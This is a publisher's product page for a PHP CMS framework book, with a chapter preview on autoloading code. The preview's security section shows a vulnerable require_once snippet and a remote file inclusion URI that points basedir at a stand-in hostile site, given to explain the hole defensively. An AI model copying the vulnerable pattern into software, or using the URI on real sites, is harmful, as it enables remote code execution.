Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Save more on your purchases! discount-offer-chevron-icon
Savings automatically calculated. No voucher code required.
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Newsletter Hub
Free Learning
Arrow right icon
timer SALE ENDS IN
0 Days
:
00 Hours
:
00 Minutes
:
00 Seconds
PHP 5 CMS Framework Development - 2nd Edition
PHP 5 CMS Framework Development - 2nd Edition

PHP 5 CMS Framework Development - 2nd Edition: For professional PHP developers, this is the perfect guide to web-oriented frameworks and content management systems. Covers all the critical design issues and programming techniques in an easy-to-follow style and structure.

eBook
€28.99 €32.99
Paperback
€41.99
Subscription
Free Trial
Renews at $19.99p/m

What do you get with eBook?

Product feature icon Instant access to your Digital eBook purchase
Product feature icon Download this book in EPUB and PDF formats
Product feature icon Access this title in our online reader with advanced features
Product feature icon DRM FREE - Read whenever, wherever and however you want
OR
Modal Close icon
Payment Processing...
tick Completed

Billing Address

Table of content icon View table of contents Preview book icon Preview Book

PHP 5 CMS Framework Development - 2nd Edition

Chapter 2. Organizing Code

Before we go further with CMS development, let's look at a problem that can be neatly solved using PHP5. Substantial systems do not consist of a single file of code. Whatever our exact design, a large system should be broken down into smaller elements, and it makes sense to keep them in separate files, if the language supports it. Code is more manageable this way, and systems can be made more efficient.

As we are considering only PHP implementations, the source code files are used at runtime. PHP is an interpreted language and, at least in principle, runs the actual source code. So we need a good technique for handling many source files at runtime.

This creates issues; a paramount one is security. Another is ease of coding, where it is tedious and cumbersome to have to repeatedly include code to load other files. Yet another is efficiency, as we do not want to load code that is not needed for a particular request.

The problem

Ideally we want an automated system for...

The problem


Ideally we want an automated system for loading the correct code at the time it is needed. We need it to cater for a number of considerations such as:

  • Loading code in as few places as possible, as an aid to security

  • Avoiding programs needing to know whether code needs to be loaded

  • Only loading code that is being used

  • Providing a mechanism that will work for extensions beyond the basic system

Discussion and considerations


Code needs to be loaded, and this does not happen automatically without some effort on our part. The loading of code has the potential to raise serious security issues that must be tackled. There are also practical matters of how to make code as clean and efficient as possible.

Security

There has been a spate of cracks exploiting code-loading loopholes. Suppose we have a file containing PHP that is intended to be loaded for execution by other code that was triggered by the request from a user's browser. A simplified example would be:

<?php
require_once ($basedir.'/somecode.php');
// More code that is perfectly safe follows
?>

First, how does the crack work? Supposing the previous code is in a file called vulnerablecode.php, and the URI used by the cracker is something like the following: http://www.goodexample.com/pathtovulnerablecode/vulnerablecode.php?basedir=http://www.nastysite.com?.

The result is that our vulnerable code tries to load, and execute http...

Exploring PHP and object design


Before we look at specific solutions, we can explore various helpful aspects of PHP and also look at the pattern known as Singleton.

Autoloading

We want to automate the loading of code and PHP provided a tool to do exactly this with the launch of PHP5. It was the __autoload function. When PHP came across a class it did not know about, it called __autoload, passing the class name as parameter. It was up to the user to code a suitable body for the function.

This was a good start, and in the first edition it was the solution to the problem. However, PHP has moved on and improved the handling of autoloading. The obvious problem with __autoload was that there could only be one such function. Someone writing, say, a library of PHP code for some particular purpose will not know about all the possible uses for the library, but may well want to use autoloading. So there really needs to be a system that supports multiple spheres of autoloading. PHP adapted to this need...

Framework solution


By now, I hope that you are persuaded by architectural security and practical coding considerations that development is best done by the creation of as many classes as are needed to solve the problem, with each usually in its own file. Fortunately, PHP 5 is clearly designed to support this scenario. How does it do it?

Autoloading

In version 5.1.2, PHP provides an improved version of what we need: the spl_autoload_register function. We are going to build our class management logic into a class called smartClassMapper. It will have a subclass called smartAdminClassMapper, which also knows about the classes used exclusively on the administrator side of our CMS, but is not described in any detail here. Our call to set up autoloading for the CMS is made very early in the processing of each request and consists of:

spl_autoload_register(array('smartClassMapper', 'autoloadClass'));

The PHP function expects a callback as the parameter, and we supply an array to indicate that...

Summary


Building software that makes full use of PHP5 involves creating numerous classes that model aspects of the problem being solved. It is usually convenient to keep each one in its own file. But this makes it difficult to keep track of whether a class is already loaded.

The neatest PHP5 solution to the problem is to implement a generalized autoload mechanism for classes. This chapter has shown that it need not be especially complex, even when built to be very flexible, and to handle dynamic additions to the stock of classes.

In the next chapter, another important general area is discussed the provision of services that will help with the use of a database.

Left arrow icon Right arrow icon

Key benefits

  • Learn about the design choices involved in the creation of advanced web oriented PHP systems
  • Build an infrastructure for web applications that provides high functionality while avoiding pre-empting styling choices
  • Implement solid mechanisms for common features such as menus, presentation services, user management, and more
  • Written by a seasoned developer of CMS applications and other modern software

Description

If you want an insight into the critical design issues and programming techniques required for a web oriented framework in PHP5, this book will be invaluable. Whether you want to build your own CMS style framework, want to understand how such frameworks are created, or simply want to review advanced PHP5 software development techniques, this book is for you.As a former development team leader on the renowned Mambo open-source content management system, author Martin Brampton offers unique insight and practical guidance into the problem of building an architecture for a web oriented framework or content management system, using the latest versions of popular web scripting language PHP.The scene-setting first chapter describes the evolution of PHP frameworks designed to support web sites by acting as content management systems. It reviews the critical and desirable features of such systems, followed by an overview of the technology and a review of the technical environment.Following chapters look at particular topics, with:• A concise statement of the problem • Discussion of the important design issues and problems faced • Creation of the framework solution At every point, there is an emphasis on effectiveness, efficiency and security – all vital attributes for sound web systems. By and large these are achieved through thoughtful design and careful implementation. Early chapters look at the best ways to handle some fundamental issues such as the automatic loading of code modules and interfaces to database systems. Digging deeper into the problems that are driven by web requirements, following chapters go deeply into session handling, caches, and access control. New for this edition is a chapter discussing the transformation of URLs to turn ugly query strings into readable strings that are believed to be more “search engine friendly” and are certainly more user friendly. This topic is then extended into a review of ways to handle “friendly” URLs without going through query strings, and how to build RESTful interfaces. The final chapter discusses the key issues that affect a wide range of specific content handlers and explores a practical example in detail.

Who is this book for?

If you are a professional PHP developer who wants to know more about web oriented frameworks and content management systems, this book is for you. Whether you already use an in-house developed framework or are developing one, or if you are simply interested in the issues involved in this demanding area, you will find discussion ranging from design issues to detailed coding solutions in this book.You are expected to have experience working with PHP 5 object-oriented programming. Examples in the book will run on any recent version of PHP 5, including 5.3.

What you will learn

  • Effective coding techniques, illustrated through examples of key parts of sample solutions, along with detailed explanations.
  • Object architectures to fully exploit PHP 5 in advanced systems
  • A foundation for database processing to ease further development
  • Technical functions such as handling user sessions and the efficient creation and use of caches
  • How to support add-on applications to extend the main framework
  • Flexible and efficient ways to deal with supporting different world languages
  • Reviews and practical solutions for topics including XML handling, configuration management, editing, file system interfaces, mail, spam, timed operations and parameter objects
  • Transforming query string URLs to be more ‚Äúfriendly‚Äù both for people and search engines
  • Alternative ways to deal with presentation services, including discussion of MVC (model-view-controller)

Product Details

Country selected
Publication date, Length, Edition, Language, ISBN-13
Publication date : Aug 18, 2010
Length: 416 pages
Edition : 1st
Language : English
ISBN-13 : 9781849511353
Languages :
Concepts :
Tools :

What do you get with eBook?

Product feature icon Instant access to your Digital eBook purchase
Product feature icon Download this book in EPUB and PDF formats
Product feature icon Access this title in our online reader with advanced features
Product feature icon DRM FREE - Read whenever, wherever and however you want
OR
Modal Close icon
Payment Processing...
tick Completed

Billing Address

Product Details

Publication date : Aug 18, 2010
Length: 416 pages
Edition : 1st
Language : English
ISBN-13 : 9781849511353
Languages :
Concepts :
Tools :

Packt Subscriptions

See our plans and pricing
Modal Close icon
$19.99 billed monthly
Feature tick icon Unlimited access to Packt's library of 7,000+ practical books and videos
Feature tick icon Constantly refreshed with 50+ new titles a month
Feature tick icon Exclusive Early access to books as they're written
Feature tick icon Solve problems while you work with advanced search and reference features
Feature tick icon Offline reading on the mobile app
Feature tick icon Simple pricing, no contract
$199.99 billed annually
Feature tick icon Unlimited access to Packt's library of 7,000+ practical books and videos
Feature tick icon Constantly refreshed with 50+ new titles a month
Feature tick icon Exclusive Early access to books as they're written
Feature tick icon Solve problems while you work with advanced search and reference features
Feature tick icon Offline reading on the mobile app
Feature tick icon Choose a DRM-free eBook or Video every month to keep
Feature tick icon PLUS own as many other DRM-free eBooks or Videos as you like for just €5 each
Feature tick icon Exclusive print discounts
$279.99 billed in 18 months
Feature tick icon Unlimited access to Packt's library of 7,000+ practical books and videos
Feature tick icon Constantly refreshed with 50+ new titles a month
Feature tick icon Exclusive Early access to books as they're written
Feature tick icon Solve problems while you work with advanced search and reference features
Feature tick icon Offline reading on the mobile app
Feature tick icon Choose a DRM-free eBook or Video every month to keep
Feature tick icon PLUS own as many other DRM-free eBooks or Videos as you like for just €5 each
Feature tick icon Exclusive print discounts

Frequently bought together


Stars icon
Total 79.98
PHP Ajax Cookbook
€37.99
PHP 5 CMS Framework Development - 2nd Edition
€41.99
Total 79.98 Stars icon

Table of Contents

15 Chapters
CMS Architecture Chevron down icon Chevron up icon
Organizing Code Chevron down icon Chevron up icon
Database and Data Objects Chevron down icon Chevron up icon
Administrators, Users, and Guests Chevron down icon Chevron up icon
Sessions and Users Chevron down icon Chevron up icon
Caches and Handlers Chevron down icon Chevron up icon
Access Control Chevron down icon Chevron up icon
Handling Extensions Chevron down icon Chevron up icon
Menus Chevron down icon Chevron up icon
Languages Chevron down icon Chevron up icon
Presentation Services Chevron down icon Chevron up icon
Other Services Chevron down icon Chevron up icon
SEF and RESTful Services Chevron down icon Chevron up icon
Error Handling Chevron down icon Chevron up icon
Real Content Chevron down icon Chevron up icon

Customer reviews

Rating distribution
Full star icon Full star icon Empty star icon Empty star icon Empty star icon 2
(1 Ratings)
5 star 0%
4 star 0%
3 star 0%
2 star 100%
1 star 0%
Francesco Orio Jan 08, 2016
Full star icon Full star icon Empty star icon Empty star icon Empty star icon 2
Il libro parla si di "Framework Development" ma per farlo utilizza come base un framework già realizzato dall'autore. Fornisce un'idea di massima di cosa potrebbe servire ma i dettagli non sono sufficienti. A titolo "accademico" può anche essere un buon punto di partenza, in ambiente lavorativo difficilmente andrete ad usare una base scritta anni prima e non più mantenuta.
Amazon Verified review Amazon
Get free access to Packt library with over 7500+ books and video courses for 7 days!
Start Free Trial

FAQs

How do I buy and download an eBook? Chevron down icon Chevron up icon

Where there is an eBook version of a title available, you can buy it from the book details for that title. Add either the standalone eBook or the eBook and print book bundle to your shopping cart. Your eBook will show in your cart as a product on its own. After completing checkout and payment in the normal way, you will receive your receipt on the screen containing a link to a personalised PDF download file. This link will remain active for 30 days. You can download backup copies of the file by logging in to your account at any time.

If you already have Adobe reader installed, then clicking on the link will download and open the PDF file directly. If you don't, then save the PDF file on your machine and download the Reader to view it.

Please Note: Packt eBooks are non-returnable and non-refundable.

Packt eBook and Licensing When you buy an eBook from Packt Publishing, completing your purchase means you accept the terms of our licence agreement. Please read the full text of the agreement. In it we have tried to balance the need for the ebook to be usable for you the reader with our needs to protect the rights of us as Publishers and of our authors. In summary, the agreement says:

  • You may make copies of your eBook for your own use onto any machine
  • You may not pass copies of the eBook on to anyone else
How can I make a purchase on your website? Chevron down icon Chevron up icon

If you want to purchase a video course, eBook or Bundle (Print+eBook) please follow below steps:

  1. Register on our website using your email address and the password.
  2. Search for the title by name or ISBN using the search option.
  3. Select the title you want to purchase.
  4. Choose the format you wish to purchase the title in; if you order the Print Book, you get a free eBook copy of the same title. 
  5. Proceed with the checkout process (payment to be made using Credit Card, Debit Cart, or PayPal)
Where can I access support around an eBook? Chevron down icon Chevron up icon
  • If you experience a problem with using or installing Adobe Reader, the contact Adobe directly.
  • To view the errata for the book, see www.packtpub.com/support and view the pages for the title you have.
  • To view your account details or to download a new copy of the book go to www.packtpub.com/account
  • To contact us directly if a problem is not resolved, use www.packtpub.com/contact-us
What eBook formats do Packt support? Chevron down icon Chevron up icon

Our eBooks are currently available in a variety of formats such as PDF and ePubs. In the future, this may well change with trends and development in technology, but please note that our PDFs are not Adobe eBook Reader format, which has greater restrictions on security.

You will need to use Adobe Reader v9 or later in order to read Packt's PDF eBooks.

What are the benefits of eBooks? Chevron down icon Chevron up icon
  • You can get the information you need immediately
  • You can easily take them with you on a laptop
  • You can download them an unlimited number of times
  • You can print them out
  • They are copy-paste enabled
  • They are searchable
  • There is no password protection
  • They are lower price than print
  • They save resources and space
What is an eBook? Chevron down icon Chevron up icon

Packt eBooks are a complete electronic version of the print edition, available in PDF and ePub formats. Every piece of content down to the page numbering is the same. Because we save the costs of printing and shipping the book to you, we are able to offer eBooks at a lower cost than print editions.

When you have purchased an eBook, simply login to your account and click on the link in Your Download Area. We recommend you saving the file to your hard drive before opening it.

For optimal viewing of our eBooks, we recommend you download and install the free Adobe Reader version 9.